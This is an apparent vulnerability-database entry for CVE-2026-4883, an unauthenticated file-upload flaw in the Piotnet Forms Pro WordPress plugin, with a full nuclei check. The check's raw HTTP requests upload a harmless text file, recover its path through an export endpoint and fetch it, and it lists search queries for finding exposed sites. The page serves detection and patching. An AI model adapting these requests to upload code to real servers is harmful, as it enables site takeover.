HexBrain

Browse / CVEs / CVE-2026-4883

CVE-2026-4883· piotnetforms / piotnetforms-pro· CWE-434

Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE

criticalseverity
9.8CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.

Impact

Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.

Fix

Update to the latest version of Piotnet Forms plugin.

How to confirm it

Send: @timeout: 40s
Positive when: contains(body, "\"status\":1")
Send: @timeout: 30s
Positive when: contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")
Send: GET {{upload_path}}
Positive when: status_code == 200 and contains(body, "{{fname}}")

Run it with nuclei: nuclei -id CVE-2026-4883 -u <target>

The full check
id: CVE-2026-4883

info:
  name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko,xShadow-Here
  severity: critical
  description: |
    Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of Piotnet Forms plugin.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4883
    - https://github.com/xShadow-Here/CVE-2026-4883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4883
    epss-score: 0.03063
    epss-percentile: 0.87721
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: piotnetforms
    product: piotnetforms-pro
    shodan-query: http.html:"piotnetforms"
    fofa-query: body="piotnetforms"
  tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev

flow: |
  http(1);
  http(2);
  let raw = String(template["upload_path"] || "");
  let f = String(template["fname"] || "");
  let parts = raw.replace("[", "").replace("]", "").split(/[\s,]+/);
  let chosen = "";
  for (let i = 0; i < parts.length; i++) {
    if (parts[i] && parts[i].indexOf("/" + f + "-") !== -1) {
      chosen = parts[i];
    }
  }
  if (chosen !== "") {
    set("upload_path", chosen);
    http(3);
  }

variables:
  fname: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        @timeout: 40s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/
        Connection: close

        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="action"

        piotnetforms_ajax_form_builder
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="post_id"

        1
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="form_id"

        piotnetforms
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="fields"

        [{"name":"upload_field","value":"","file_name":["{{fname}}.txt"],"attach-files":0,"type":"file","image_upload":false,"label":"","repeater_id":"","repeater_index":0,"repeater_label":""}]
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="referrer"

        {{BaseURL}}/
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="remote_ip"

        127.0.0.1
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="upload_field[]"; filename="{{fname}}.txt"
        Content-Type: text/plain

        {{fname}}

        ------WebKitFormBoundaryPF--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":1")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

    extractors:
      - type: regex
        name: upload_path
        internal: true
        group: 1
        part: body
        regex:
          - '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\.txt)'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")'
        internal: true

  - raw:
      - |
        GET {{upload_path}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{fname}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from